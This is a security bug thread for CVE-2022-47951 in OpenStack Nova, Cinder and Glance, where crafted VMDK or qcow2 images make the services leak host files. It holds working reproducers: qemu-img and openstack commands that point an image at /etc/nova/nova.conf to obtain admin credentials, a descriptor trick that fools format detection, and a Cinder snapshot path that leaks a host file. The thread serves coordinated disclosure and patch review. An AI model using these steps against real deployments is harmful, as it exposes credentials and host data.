[OSSA-2023-002] Arbitrary file access through custom VMDK flat descriptor (CVE-2022-47951)

Bug #1996188 reported by Jeremy Stanley
304
This bug affects 4 people
Affects Status Importance Assigned to Milestone
Cinder
Fix Released
Critical
Unassigned
Glance
Fix Released
Undecided
Dan Smith
OpenStack Compute (nova)
Fix Released
Critical
Unassigned
OpenStack Security Advisory
Fix Released
High
Jeremy Stanley

Bug Description

The vulnerability managers received the following report from Sébastien Meriot with OVH via encrypted E-mail:

Our Openstack team did discover what looks like a security issue in Nova this morning allowing a remote attacker to read any file on the system.
After making a quick CVSS calculation, we got a CVSS of 5.8 (CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:N/A:N).

Here is the details :
By using a VMDK file, you can dump any file on the hypervisor.
1. Create an image: qemu-img create -f vmdk leak.vmdk 1M -o subformat=monolithicFlat
2. Edit the leak.vmdk and change the name this way: RW 2048 FLAT "leak-flat.vmdk" 0 --> RW 2048 FLAT "/etc/nova/nova.conf" 0
3. Upload the image: openstack image create --file leak.vmdk leak.vmdk
4. Start a new instance: openstack server create --image leak.vmdk --net demo --flavor nano leak-instance
5. The instance won't boot of course. You can create an image from this instance: openstack server image create --name leak-instance-image leak-instance
6. Download the image: openstack image save --file leak-instance-image leak-instance-image
7. You get access to the nova.conf file content and you can get access to the openstack admin creds.

We are working on a fix and would be happy to share it with you if needed.
We think it does affect Nova but it could affect Glance as well. We're not sure yet.

[postscript per Arnaud Morin (amorin) in IRC]

cinder seems also affected

CVE References

Revision history for this message
Jeremy Stanley (fungi) wrote :

Since this report concerns a possible security risk, an incomplete
security advisory task has been added while the core security
reviewers for the affected project or projects confirm the bug and
discuss the scope of any vulnerability along with potential
solutions.

I've started with just Nova even though the reporters mention Glance and Cinder, since it's unclear (at least to me) precisely which project(s) could need fixes. We can widen the discussion to include those teams after initial triage from Nova's security folks indicates it's warranted.

Changed in ossa:
status: New → Incomplete
Revision history for this message
Dan Smith (danms) wrote :

Here's a reproducer of the underlying operation without the need for any nova or glance:

qemu-img create -f vmdk leak.vmdk 1M -o subformat=monolithicFlat
sed -i 's#leak-flat.vmdk#/etc/hosts#' leak.vmdk
qemu-img convert -f vmdk -O raw leak.vmdk leak.raw
head -n1 leak.raw

Note that I can repro the behavior with qemu-img using qcow2 as well:

qemu-img create -f qcow2 -F raw -b /etc/hosts leak.qcow 1M
qemu-img convert -O raw leak.qcow leak2.raw
head -n1 leak2.raw

Which means even people that don't use vmdk can't just ban that format to work around this, I suspect.

This helps quantify what I think is going on here under the covers so we can determine which other projects are affected. Glance does effectively the above commands if image conversion is enabled, so I suspect it is affected without needing nova at all, if and when image conversion is in use. I'll have to check.

Not sure about cinder, but I suspect if it can lay down a COW-based image on a volume in raw format, it too is probably affected.

I'm guessing that maybe we'll need to come up with some difficult rules about backing file locations and inspect/reject based on those. I would say that nova requiring that backing files are in /var/lib/nova would be enough, but that wouldn't prevent me from snooping someone else's image if I could determine their UUID.

Revision history for this message
Guillaume Espanel (guillaume-espanel) wrote :

About qcow2:

It seems that nova refuses to convert qcow2 images that have a backing file, at least here:
https://opendev.org/openstack/nova/src/commit/c97507dfcd57cce9d76670d3b0d48538900c00e9/nova/virt/images.py#L127

Same for cinder: https://opendev.org/openstack/cinder/src/commit/dcec2f6f01ffc63dc058f641370e9f5a0bad07e4/cinder/image/image_utils.py#L659

I think glance also rejects qcow2 that have backing files:
https://opendev.org/openstack/glance/src/branch/master/glance/async_/flows/base_import.py#L178
but I am not sure that's the case everywhere.

Revision history for this message
Dan Smith (danms) wrote :

Cool, on nova and cinder for qcow2. Glance would need to check that during/before the image format conversion, because the code you linked there would happen after we've already converted it to raw, I think. I don't see such a check here:

https://opendev.org/openstack/glance/src/branch/master/glance/async_/flows/plugins/image_conversion.py

That is an optional plugin, requires being enabled, and only impacts images being imported (not uploaded). So, a much smaller surface.

Revision history for this message
Sylvain Bauza (sylvain-bauza) wrote :

Could we clarify the attacking surface, please ?
From what I see, the nova libvirt driver calls fetch_image() which does the backing file check *before* converting the image, so could we confirm that all environments having compute services configured to use the libvirt driver *aren't* impacted ?

For other convert operations that could be run by Glance, Cinder or nova-computes not using the libvirt driver, I tho totally agree : yes, we can dump any file.

Revision history for this message
Dan Smith (danms) wrote :

The backing file check in fetch_image() only applies to qcow2, not vmdk. If we make it to there with a VMDK file, the backing_file check won't apply and we'll do the bad thing during the raw conversion.

That said, I just realized that our image type support for libvirt does not declare that we support VMDK. That means *if* you have that feature enabled, we won't ever send instances to libvirt computes if a VMDK image is used. That further limits the scope of impacted people (and versions), but I think if you have that disabled, you'll still get there.

I assume the reporter was using the libvirt driver but I suppose it's worth checking.

Either way, I'm testing a patch to detect/reject this in nova now.

Revision history for this message
Dan Smith (danms) wrote :

Okay, I confirmed that I can hit the libvirt compute node with a vmdk file, using the default config, and specifically the bad format image specified in the bug description. I'm attaching a proposed patch for nova which restricts the allowed VMDK types to just the two we think are usable with nova/glance anyway. However, it adds a config option (as discussed) to allow overriding or eliminating this check to avoid breaking people that are successfully using another subtype without a way to work around it.

With this patch applied and the above-mentioned maliciously-crafted image, I get a failed server build and this log message:

Nov 10 10:35:18 ubuntu nova-compute[119048]: WARNING nova.virt.images [None req-1cd34d51-ed13-488b-90eb-27c135e8bf0f demo admin] Refusing to process VMDK file with create-type of 'monolithicFlat' which is not in allowed set of: streamOptimized,monolithicSparse

Revision history for this message
Arnaud Morin (arnaud-morin) wrote :

Hello,
I confirme that de are using the libvirt driver.

Revision history for this message
Brian Rosmaita (brian-rosmaita) wrote :

Code LGTM. I do have a concern about the config opt, namely, that the default is

  vmdk_allowed_types = ['streamOptimized', 'monolithicSparse']

and if you set it like this:

  vmdk_allowed_types = [ ]

The behavior is "allow all" ... which the help text mentions, but I think this is very easy to mis-configure, because if you only want 'streamOptimized' you remove 'monolithicSparse' from the list, and following that logic, if you don't want any, you'll remove 'streamOptimized' too ... but the behavior will be the exact opposite of what you expect. So I'd prefer an empty list mean "don't allow any".

The downside is that if someone does want to allow all possible formats, they'll have to list them all. Or we could introduce a sentinel value like 'vmdk_allowed_types_ANY'

  vmdk_allowed_types = ['vmdk_allowed_types_ANY']

and hope that vmware doesn't introduce a 'vmdk_allowed_types_ANY' subformat.

But the other upside of [] == "none" is that use of vmdk can be turned off in Nova without having to depend on the disk_formats setting in Glance. It would also handle the problem of existing vmdks in deployments that don't actually use vmdk, but are using the default disk_formats value in Glance (which includes vmdk).

Revision history for this message
Dan Smith (danms) wrote :

Yep, I was going for the minimal amount of work for someone to get back to the existing behavior if this ends up cutting off a workflow for them.

I don't love the magic sentinel approach, and would prefer to just go with "empty means nothing is enabled" and make people enable what they need for now. If there's a big push-back we can work on a sentinel to disable it entirely, but in reality I expect not many people actually want to boot from VMDKs with the libvirt driver.

If there are other sane formats to add to the default list, then hopefully they'll report them too.

I'll let other people comment on the patch with the assumption that we'll flip the meaning of an empty list and will update it here after that (or after nobody has other comments).

Revision history for this message
Sylvain Bauza (sylvain-bauza) wrote :

This patch looks good to me as well at least for the nova libvirt driver.

Revision history for this message
Arnaud Morin (arnaud-morin) wrote :

The patch looks good. Are we sure we are always going through the fetch_to_raw function?

I'll try to take some time to test it on our infra and let you know.

Thanks

Revision history for this message
Guillaume Espanel (guillaume-espanel) wrote :

Looks good to me too, for nova. I looked a bit yesterday that the two variants we plan to allow cannot be tweaked to leak data through qemu-img convert and they seem fine, at least with the simple path change on the extent entry.

Speaking of fetch_to_raw, what I understand is that we let qemu-img info tell us what format the image is in before converting:
https://opendev.org/openstack/nova/src/commit/2a73a1db84da15a24231f7219f6c4a4ea574bae6/nova/virt/images.py#L120

I am not sure we should be doing that (see the comment in convert_image_unsafe).

Revision history for this message
Dan Smith (danms) wrote :

You know, I really thought we did assert the source type of the image when we fetch it. But looking through all of that, at least as it exists today, I see that we're not. Since the previous requirement for doing that was to protect against the qcow2 backing_file attack, the comments referencing fetch_to_raw() as some sort of safety measure must be referencing the backing_file check itself.

Unless we're aware of other attacks that can be made by claiming an image is one thing when probing disagrees, we're probably okay for the scope of this bug. My code checks the vmdk rules if we probe it as such, so we won't leak there, even if someone claims it is something else.

I can imagine glance having an enforcement mode that requires images to detect as what they claim to be (it has the infrastructure to make such an enforcement today). Nova could also have a flag that verifies the image's disk_format agrees with the probe in fetch_to_raw().

Revision history for this message
Guillaume Espanel (guillaume-espanel) wrote :

I agree, I think we're good for VMDK and I might be worrying too early:

I haven't tested it yet but reading the code it looks like we could convert other less-used formats to raw (qed, or qcow for example). My worry is that qed, for example, is no longer developed and I imagine hasn't been as scrutinized as qcow2 (or vmdk, for that matter).

To be on the safe side, I would further restrict the formats we accept to convert from, but I am not sure to what extend that is feasible.

Revision history for this message
Dan Smith (danms) wrote :

Yes, I think a list of acceptable formats in nova would be a good idea, and a flag in glance to require that an image detects as the format claimed in disk_format would be good as well.

Revision history for this message
Dan Smith (danms) wrote :

Okay, here's the updated nova patch which considers the empty list to mean "none allowed".

Revision history for this message
Brian Rosmaita (brian-rosmaita) wrote :

This affects cinder, too. Attaching a patch based on Dan's nova fix.

Revision history for this message
Brian Rosmaita (brian-rosmaita) wrote :

I didn't add Glance because the situation isn't so dire. I believe that an operator must configure the optional image conversion plugin for image import in order for this exploit to affect Glance. That said, I think we should fix it in Glance, too, but waiting to hear what others think before adding Glance to this bug.

Revision history for this message
Arnaud Morin (arnaud-morin) wrote :

Hello, thanks for the patch, I think we need to include glance in that bug as well.

Revision history for this message
Guillaume Espanel (guillaume-espanel) wrote :

About Cinder, I think we should put the check_vmdk_format as close as possible the call to convert.

First, I think we may be missing some convert_images. I cannot test it, but I have come across this where we seem to convert an image into a volume directly: https://opendev.org/openstack/cinder/src/branch/master/cinder/volume/drivers/netapp/dataontap/nfs_base.py#L767

Second, I noted that, in the case of AMI image format, we let qemu-img convert detect the real format of the image:
https://opendev.org/openstack/cinder/src/branch/master/cinder/image/image_utils.py#L277
I think this is caught as part of the proposed patch, but there could be similar constructions elsewhere.

Third, in fetch_to_volume_format, we first check the VMDK createType if qemu-img info detects a VMDK, but we call the convert with the format declared in the image metadata.

Importantly, I was able to trick qemu-img info into detecting a "raw" image than can actually be converted from VMDK to raw by simply adding an empty line at the beginning of the file, thus (if I understand correctly) bypassing the check entirely.

Here's a short reproducer, note the empty line before # Disk DescriptorFile :

cat > test.raw << EOF

# Disk DescriptorFile
version=1
CID=86cc8022
parentCID=ffffffff
createType="monolithicFlat"

# Extent description
RW 2048 FLAT "/etc/hosts" 0

# The Disk Data Base
#DDB

ddb.virtualHWVersion = "4"
ddb.geometry.cylinders = "2"
ddb.geometry.heads = "16"
ddb.geometry.sectors = "63"
ddb.adapterType = "ide"
EOF

qemu-img info test.raw
image: test.raw
file format: raw
virtual size: 512 B (512 bytes)
disk size: 4 KiB

qemu-img convert -f vmdk -O raw test.raw hacked.raw

I'll look again at the nova patch to make sure we account for that funny discovery there too.

About glance, I think we should also patch it as part of this effort, even though it's not as bad given the fact the exploit is unavailable by default.

Revision history for this message
Dan Smith (danms) wrote :

It's not available by default in glance - you have to enable the image_conversion feature (which enforces that all images get converted to a single specific format). That said, I do also think we should include glance here, especially since I found that the same code is also unpatched against the long-fixed-in-nova/cinder qcow backing_file attack. Host file exposure to unprivileged users seems like a large enough impact to justify fixing it ASAP.

This patch fixes the vmdk thing just like cinder and nova, and also fixes the similar qemu vulnerability as well.

Perhaps we could loop in another glance person (say Abhi) for his opinion on the patch and including glance specifically. If so, then would just be a formality.

Revision history for this message
Jeremy Stanley (fungi) wrote :

Yes, a number of public clouds I interact with apply the image conversion task to uploads, so while it may be optional I expect the impact is still fairly widespread.

Revision history for this message
Brian Rosmaita (brian-rosmaita) wrote :

Latest version of cinder patch hardens the check function a bit and adds another test; still looking into what Guillaume mentioned on his earlier comment

Revision history for this message
Guillaume Espanel (guillaume-espanel) wrote :

I keep thinking we should move the check_vmdk_image (and possibly duplicate the image inspection) as close as possible to the actual convert.

Hopefully exhaustive list of places where we I think we should perform the check:

- For nova, in virt.images._convert_image()
- For glance, in async_.flows.convert._Convert.execute() and async_.flows.plugins.image_conversion._ConvertImage._execute()
- For cinder, in image.image_utils._convert_image()

In addition, I think we should never run qemu-img convert without a "-f something" argument. We are doing this at least for AMIs (they can be either qcow2 or raw IIRC) and LVM. In such cases I suggest we run qemu-img info to determine the format of the source and pass the inspected format to convert (after running the checks), instead of letting qemu-img convert detect it, thus bypassing the checks.

Revision history for this message
Dan Smith (danms) wrote :

Why do you think that? Doing checks upfront in fetch_image_to_raw (for the nova case) makes the most sense to me, and it matches where we do the check for the qcow backing file. IMHO, it's best to just check and reject immediately, before we do any other inspection or potential work.

IMHO, convert_image() is an "internal" method that just does what we ask it to, and it already requires source and destination formats. We need to be suspicious of images when we pull the from glance, but after we've internalized them I don't think we need to do that check every time we're handling an image.

Revision history for this message
Guillaume Espanel (guillaume-espanel) wrote :

Focusing on nova, we seem to be going through fetch_to_raw most of the time.
I am a bit suspicious of the convert_image_unsafe because it is not entirely clear to me how we end-up calling it, but if we believe the comments, it should either run on a fetch'd_to_raw image, or on a locally generated image. If we are confident this is true and is likely to remain true, we're probably good.

Regarding glance, I think we are already following the right approach, but unless I am missing something, we have to add the same patch you did in async_.flows.plugins.image_conversion._ConvertImage._execute() in async_.flows.convert._Convert.execute().

Finally, in cinder, convert_image has callers in many different places (in the drivers for example), and it could be easy to miss an unsafe call there.

Overall, I agree it would be nice to check and reject early, but for me it'd be nicer to provide convert_image functions that are safe (at least from this bug) by default. I could imagine, sometime in the future, someone using one of these convert_image functions without checking their VMDK is of this or that createType.

Revision history for this message
Dan Smith (danms) wrote :

Cool on Nova. On Glance, TBH, I'm not sure how users access the other flow. The one I patched is used on import, but I'm not sure how those legacy plugins ever get called. Perhaps Brian can comment. Certainly it's possible to just patch that the same way, but we should be deliberate about it.

Revision history for this message
Brian Rosmaita (brian-rosmaita) wrote :

@Dan: that's a good question about the glance legacy plugins. I don't remember why Erno needed to introduce new ones for the Interoperable Image Import workflow. They're left over from the old tasks API, which I guess can still be activated by directly creating a task, so they're not dead code. We'll need to check with Abhishek or Erno about whether the same technique can be used to patch it (I think it can). I'm not sure what the status of the Tasks API is with respect to being completely removed.

@Guillaume: I'm looking at moving the checks in cinder to convert_image() without causing regressions. Can probably do it for this vmdk issue, but not the backing_file.

Revision history for this message
Dan Smith (danms) wrote :

Yeah, task creation is locked down to admin-only now (and have been for a while, AFAIK) so I don't think this is likely exploitable by a regular user. That, and I'm not even sure how you configure (or request) conversion via that mechanism. Anyway, I can update the patch to just do the same thing for it, but I won't be able to test it, other than unit tests in the tree that I find (which may not exist). But, if you think it's worth updating that one too, I will.

Revision history for this message
Jeremy Stanley (fungi) wrote :

If nothing else, it may serve as a stronger reminder to anyone backporting to very old releases that they need to take care of fixing it there.

Revision history for this message
Dan Smith (danms) wrote :

Okay, rev2 of the glance patch with the legacy import task patched and those tests updated as well. I'm not sure if/when this was ever used, so I'm not sure how important of an indicator it will be to people backporting to kilo or something ancient, but here it is.

Revision history for this message
Arnaud Morin (arnaud-morin) wrote :

Hello,

FYI, we mitigated this on our infra by completely disabling the vmdk convertion. Like guillaume explained, we did that directly in the _convert method.

Anyway, the glance patch looks good.

What are the next steps?

Revision history for this message
Arnaud Morin (arnaud-morin) wrote :

Just to let you know that glance is affected by the bug with the import plugin.
A user can trigger the conversion if the operator enabled this in the config:

[image_import_opts]
image_import_plugins = ['image_conversion']

Then, as a regular user:
openstack image create --file leak.qcow --disk-format qcow2 --import leak9.qcow

Will test the patch to make sure this is mitigating the issue now

Revision history for this message
Arnaud Morin (arnaud-morin) wrote :

I did test the glance patch. It works (mitigate both qcow and vmdk, with import taskflow).

One note, during the convert process, the qemu-img info is executed.
Something like this:
qemu-img info --output=json /tmp/staging/7b7b34b1-332c-4257-8a19-b9ff71bfe2c5

If the backing file does not exists, it fails with:
"qemu-img: Could not open '/tmp/staging/7b7b34b1-332c-4257-8a19-b9ff71bfe2c5': Could not open '/etc/nova/nova.conf': No such file or directory\n"

Leaving the image in "importing" state.
This is wrong IMO and should be catched as an invalid type, what do you think?

Revision history for this message
Arnaud Morin (arnaud-morin) wrote :

Another thing,
are we sure VMDK and QCOW formats are the only formats allowing backing files?

Revision history for this message
Jeremy Stanley (fungi) wrote :

Assuming we have answers to your other questions, and Cinder/Glance/Nova security reviewers confirm they're comfortable with the proposed master branch patches and expect them to be safely backportable to maintained stable branches of their respective projects, I'll start drafting an impact statement to use in requesting a private CVE assignment and for inclusion in embargoed downstream stakeholder notifications (and eventually in a corresponding security advisory publication).

Once we have a CVE assignment and backports attached for each project's patch, we should be ready to schedule the advisory publication and provide advance copies of those patches to the downstream stakeholders.

Revision history for this message
Brian Rosmaita (brian-rosmaita) wrote :

Revised patch posted in case anyone has time to look over Thanksgiving. This is not the final version. I had to move some code around because we weren't checking the format info for a image with container_format==compressed correctly (qemu-img info was being run on the gzip'd file, which would always report itself as 'raw' format. Also added a check to make sure the disk_format and what cinder detects as the image format matches, which I think is correct, but which may make some previously successful requests to create a volume from a source image to now fail.

Revision history for this message
Arnaud Morin (arnaud-morin) wrote :

Hello Brian,

Thanks for the updated patch.
I did apply it on my test infra.

Result:
While it's working when creating a volume from a glance image, it's still not enough for some drivers.

As guillaume stated earlier, some drivers are directly calling convert_image.
So, either we also patch the driver or we do the patch *inside* image_utils.convert_image to mitigate all of them at once.

For now, I was able to reproduce the bug using the NFS driver (with your patch).
The faulty code is here:
https://github.com/openstack/cinder/blob/d402c6fbab6db4cc80e9075f683b80adb2c7368c/cinder/volume/drivers/nfs.py#L679

If you search the convert_image in drivers, you will see that *a lot* of them are calling convert_image without specifying the input_format (only RBD when using encryption is having input_format).

$ grep -riIl 'convert_image' ./*
./datera/datera_api22.py
./datera/datera_api21.py
./dell_emc/powerstore/nfs.py
./ibm/gpfs.py
./netapp/dataontap/nfs_cmode.py
./netapp/dataontap/nfs_base.py
./nfs.py
./quobyte.py
./rbd.py
./remotefs.py
./vzstorage.py

To reproduce the issue:
# Create an empty volume:
openstack volume create --size 10 vol-1

# Attach the volume to a server:
openstack server add volume arnaud-deb-10 vol-1

# Copy the content of a faulty vdmk image into it (in the following, the leak.vmdk is having a backing file to /etc/hosts):
dd if=leak.vmdk of=/dev/vdb

# detach the volume
openstack server remove volume arnaud-deb-10 vol-1

# Do a snapshot
openstack volume snapshot create --volume vol-1 vol-1-snap

# Create a new volume from this snapshot <-- this part is triggering the image_convert from nfs.py
openstack volume create --snapshot vol-1-snap vol-2

# Attach this new volume
openstack server add volume arnaud-deb-10 vol-2

# Take a look at the content of the volume from the instance
# you will see the /etc/hosts of cinder-volume host.

*Unfortunately I cannot test all the drivers, but pretty sure most of them are affected by the issue.*

Revision history for this message
Dan Smith (danms) wrote :

Arnaud, yes, we should probably catch that and roll back the import. However, let's treat that as a separate non-security bug to avoid inflating the glance patch any further, since that's a latent but otherwise harmless issue. Glance also probably should be changed to use the oslo qemu info utility like the others, and so that'd be a good time to resolve this as well.

Revision history for this message
Arnaud Morin (arnaud-morin) wrote :

Glance? My comment was mostly about cinder.

I think glance patch is OK.

Revision history for this message
Arnaud Morin (arnaud-morin) wrote :

Ok, it's my bad, I talked about a glance image, but it's not, it's a cinder snapshot (nothing related to glance)

Revision history for this message
Brian Rosmaita (brian-rosmaita) wrote :

Arnaud, thanks for all the testing. I was trying to keep the backing file check and the vmdk checks close together, but while there are legitimate internal cinder uses for a backing file, there aren't any legitimate uses of a vmdk with one of the disallowed formats, so I took your advice and added a vmdk check to convert_image. (I left the current checks even though they're not strictly necessary now because they allow an image_id to appear in the error message.)

Revision history for this message
Arnaud Morin (arnaud-morin) wrote :

Hi Brian,

Thanks for this updated patch, I confirm that this is mitigating the issue described in my previous comment.

Except I missed something, I think you achieved (with Dan) the correct patches to fully mitigate this issue.

Thanks!

Revision history for this message
Brian Rosmaita (brian-rosmaita) wrote :

Another update ... this one moves the check that the source_format (if specified) matches what qemu-img info thinks is the image format. I was hesitating because it requires an extra call out to qemu-img, but the caller can get around that by passing the qemu_img_info data if it's already available. Plus, relative to the time to actually do a conversion of a large image, this is negligible. But given the bad stuff that Guillaume and Arnaud discovered about what can happen when there's a mismatch, I figure it's definitely worth checking in convert_image().

Revision history for this message
Jeremy Stanley (fungi) wrote :

Once folks are relatively settled on the state of the various master branch patches for impacted services, we'll need a curated set of backport patches for all of them to at least stable/xena, stable/yoga and stable/zed (stable/wallaby is now officially out of normal maintenance). Those backports are what we'll include in the advance notification we send to downstream stakeholders ahead of the publication date, and should ideally match what will also be pushed into Gerrit at the time we publish the advisory.

Revision history for this message
Arnaud Morin (arnaud-morin) wrote :

Hi,

Agree with the backports, I did it manually on my side for wallaby.
Don't you think this CVE is severe enough to bring the backport even to older releases? Or should the operator do the work themself?

Revision history for this message
Jeremy Stanley (fungi) wrote :

Our vulnerability management policy only requires the availability of backports to affected stable branches under normal maintenance in order to issue an official security advisory. It does not preclude also producing backports to older branches under extended maintenance, and we include those in our advisories (as well as pre-publication notifications to downstream stakeholders) if they happen to be available. What it means is that we won't hold up notifying stakeholders or publishing an advisory for maintained stable branches if there are delays or challenges backporting to older branches.

Revision history for this message
Brian Rosmaita (brian-rosmaita) wrote :

A note about backporting to -em branches: the code is using a feature of oslo_utils.imageutils (the 'format_specific' data member of the QemuImgInfo class) that was introduced in oslo.utils 4.1.0 (ussuri) by Change-Id: I133da07a5a9628b8a. It's not present in train, and further, train supports py2.7, which the oslo.utils 4.x series does not.

This only affects the nova and cinder patches.

Revision history for this message
Brian Rosmaita (brian-rosmaita) wrote :
Revision history for this message
Brian Rosmaita (brian-rosmaita) wrote :
Revision history for this message
Brian Rosmaita (brian-rosmaita) wrote :
Revision history for this message
Brian Rosmaita (brian-rosmaita) wrote :
Revision history for this message
Abhishek Kekane (abhishek-kekane) wrote :

Glance patch attached by Dan looks good to me, just having one suggestion for the error message for below scenario;

+ if not len(allowed):
+ LOG.warning(_('Refusing to process VMDK file as '
+ 'vmdk_allowed_types is empty'))
+ raise RuntimeError(_('Invalid VMDK create-type specified'))

instead we should use something like;

raise RuntimeError(_('Image is a VMDK, but no VMDK createType is allowed'))

Revision history for this message
Rajat Dhasmana (whoami-rajat) wrote :

For the cinder patch, I've a doubt as follows:

In new method check_image_format
+ if image_id is None:
+ image_id = 'internal image'
In which case we need to do this? If the image_id doesn't exist, it should be an error right? IIUC this is called from convert_image which can only be called by download image/upload volume which should have the image ID.
Even if there is a case where this can be None, shouldn't we assign a UUID instead of a string 'internal image' here? Else this will fail for the second image since 'internal image' ID is already used by the first image created with this flow.

Revision history for this message
Brian Rosmaita (brian-rosmaita) wrote :

@Rajat: thanks for the review. As Arnaud pointed out in comment #41, several drivers are calling convert_image() directly, like here, where the remotenfs driver uses convert_image() to flatten snapshots before uploading the result to glance:
https://opendev.org/openstack/cinder/src/commit/12fb54ad60762017da4aa02290bc2c5c7d5b697b/cinder/volume/drivers/remotefs.py#L1103

So in that case, there isn't an existing glance image that we're converting; the "image" is really a volume, so that's why if no image_id is passed, check_image_format will use the string 'internal image' in log/exception messages.

As far as it causing a regression, before this patch, convert_image() did not take an image_id parameter, and the only place it's used here is when it's passed to check_image_format(), so I think we're OK.

Revision history for this message
Rajat Dhasmana (whoami-rajat) wrote :

Hi Brian,

thanks for pointing out the place where we call convert_image from the drivers.
I understand we're converting a volume but eventually it is an upload volume to image operation in which the user has supplied the image_id so we should use that.
Regarding getting the image ID, there are 2 ways to do it:
1) in volume_utils: get it from volume.glance_metadata
https://opendev.org/openstack/cinder/src/commit/12fb54ad60762017da4aa02290bc2c5c7d5b697b/cinder/volume/volume_utils.py#L1347-L1348

2) in image_utils: get it from image_meta
https://opendev.org/openstack/cinder/src/commit/12fb54ad60762017da4aa02290bc2c5c7d5b697b/cinder/image/image_utils.py#L844

The upload_volume is called just below the the convert_image call and we have all the parameters necessary to fetch image_id from the above 2 options.
https://opendev.org/openstack/cinder/src/commit/12fb54ad60762017da4aa02290bc2c5c7d5b697b/cinder/volume/drivers/remotefs.py#L1109-L1114

Revision history for this message
Brian Rosmaita (brian-rosmaita) wrote :

@Rajat: there are still some places where image conversion is happening, but there's no image involved, for example in the vzstorage driver in _copy_volume_from_snapshot(), so at least some drivers are going to have an 'internal image' situation. I decided that since we're fixing this at the choke point in image_utils, I wouldn't modify any of the individual drivers. I think that could be done as a follow-up after the bug is public and the exploit is patched, because it really only affects log and exception messages when someone is attempting the exploit, not normal processing. What I'd like to do is propose patches to master and let the driver maintainers approve them and do the backports and further testing. But maybe I'm just being lazy; let me know what you think.

Revision history for this message
Rajat Dhasmana (whoami-rajat) wrote :

Hi Brian,

I think your idea of doing it step by step and also taking confirmation from driver vendors for their driver change makes sense. Also as you mentioned we might need to change a lot of places and that might end up more work that is intended for this security fix and outside of the scope as well.
In conclusion, your patch looks good to me in current state.

Revision history for this message
Abhishek Kekane (abhishek-kekane) wrote :

Hi,

There was some formatting issue in patch added in comment 23 [1] so I was not able to apply it using git am command. As a result I have manually applied changes in my local environment, made changes in error message as mentioned in comment 57 [2], added author as Dan Smith and backported it till stable/train branch.

There was conflict in victoria, resolved it and also was not able to verify pep8 and py38 unit tests locally for stable/train due to some weird dependencies conflict issues.

Attaching all the patches one by one here in following comments.

[1] https://bugs.launchpad.net/nova/+bug/1996188/comments/23
[2] https://bugs.launchpad.net/nova/+bug/1996188/comments/57

Revision history for this message
Abhishek Kekane (abhishek-kekane) wrote :
Revision history for this message
Abhishek Kekane (abhishek-kekane) wrote :
Revision history for this message
Abhishek Kekane (abhishek-kekane) wrote :
Revision history for this message
Abhishek Kekane (abhishek-kekane) wrote :
Revision history for this message
Abhishek Kekane (abhishek-kekane) wrote :
Revision history for this message
Abhishek Kekane (abhishek-kekane) wrote :
Revision history for this message
Abhishek Kekane (abhishek-kekane) wrote :
Revision history for this message
Abhishek Kekane (abhishek-kekane) wrote :
Jeremy Stanley (fungi)
Changed in ossa:
status: Incomplete → Confirmed
importance: Undecided → High
assignee: nobody → Jeremy Stanley (fungi)
Revision history for this message
Jeremy Stanley (fungi) wrote :

Since it seems like we're getting close to agreement on the patches and backports, I'm preparing to request a CVE assignment for tracking of the eventual published advisory. Here's an initial attempt, but please let me know what I've got wrong and I'll revise it as needed...

Title: Arbitrary file access through custom VMDK flat descriptor
Reporter: Sébastien Meriot (OVH)
Products: Cinder, Glance, Nova
Affects: Cinder <19.1.2, >=20.0.0 <20.0.2, ==21.0.0; Glance <23.0.1, >=24.0.0 <24.1.1, ==25.0.0; Nova <24.1.2, >=25.0.0 <25.0.2, ==26.0.0

Description:
Sébastien Meriot (OVH) reported a vulnerability in VMDK image processing for Cinder, Glance and Nova.
By supplying a specially created VMDK flat image which references a specific backing file path, an authenticated user may convince systems to return a copy of that file's contents from the server resulting in unauthorized access to potentially sensitive data.
All Cinder deployments are affected; only Glance deployments with image conversion enabled are affected; all Nova deployments are affected.

Revision history for this message
Brian Rosmaita (brian-rosmaita) wrote :

Cinder affected releases and "description" text LGTM.

Revision history for this message
Erno Kuvaja (jokke) wrote :

@Dan ref #33:

We already have lots of that image format logic in the glance/common/format_inspector.py which is utilized in the location.py (and would have covered these should we have implemented the staging as location).

That already limits our VMDK support to 'monolithicSparse' and does the inspection directly rather than relying qemu-img. I think we should utilize that and add any additional inspections there rather than creating yet another block of validation code in the plugins.

Revision history for this message
Guillaume Espanel (guillaume-espanel) wrote :

Good day!

Interesting that we are talking about the format_inspector because I think there is a way there to perform a DoS attack on the glance-api process by uploading a malformed VMDK image:

For VMDK, the 'descriptor' capture region is bounded by (desc_sec * 512, desc_num * 512). Both desc_sec and desc_num are parsed from the header of the file, so it is possible for a malicious actor to ask the format_inspector to declare a huge descriptor capture_region by crafting weird values in-there. In contrast, qemu limits the size of the descriptor it accepts to parse to 1MB if my math is right [1].

Actually, reading the code of qemu, it looks like they also hardcode the address of the descriptor to 0x200 [2], so it would be possible to have the format_inspector read a descriptor and qemu read a different one, thus bypassing any check we are currently doing there.

Notwithstanding this bug, I am not sure the format_inspector is not the best place to implement security checks at the moment. For one, I am not sure when it is actually called.

--
[1]: https://github.com/qemu/qemu/blob/master/block/vmdk.c#L898
[2]: https://github.com/qemu/qemu/blob/master/block/vmdk.c#L1327

Jeremy Stanley (fungi)
Changed in ossa:
status: Confirmed → In Progress
Revision history for this message
Jeremy Stanley (fungi) wrote : Re: Arbitrary file access through custom VMDK flat descriptor (CVE-2022-47951)

MITRE has assigned CVE-2022-47951 for tracking this vulnerability.

summary: Arbitrary file access through custom VMDK flat descriptor
+ (CVE-2022-47951)
Revision history for this message
Dan Smith (danms) wrote :

Erno - right now the format inspector is not mandatory. Meaning, we only snag the virtual_size for monolithicSparse, but we don't refuse the upload if it's a format we don't expect. If you want to *change* that, then that's fine. I don't think that the extra checks before we do operations on an image is a bad idea though, especially as it mirrors what we're doing in the other projects.

Revision history for this message
Brian Rosmaita (brian-rosmaita) wrote :

Just want to bump this. We're less than a month out from 2023-02-08, and I personally am holding my breath lest someone merge a change to cinder.image.image_utils that will require me to redo all my patches.

Revision history for this message
Guillaume Espanel (guillaume-espanel) wrote :

Hi! I agree, lets get this out sooner than later :)

- Glance and its backports LGTM, but do I understand correctly we will not patch async_.flows.convert._Convert.execute() because it's an admin-only call?
- Cinder is a bit heavier but LGTM too.
- Nova still looks good :)

Revision history for this message
Jeremy Stanley (fungi) wrote :

If we have consensus on the fixes and backport patches (at least as far back as stable/xena) for all three of Cinder, Glance and Nova, then we can schedule an advisory for approximately a week out and send advance copies of these patches to downstream stakeholders along with the date and time we've chosen for publication. Just to double-check, we have the following patches for distribution:

 - Cinder (master and zed through wallaby) in comments #52-56
 - Glance (master and zed through train) in comments #64-71
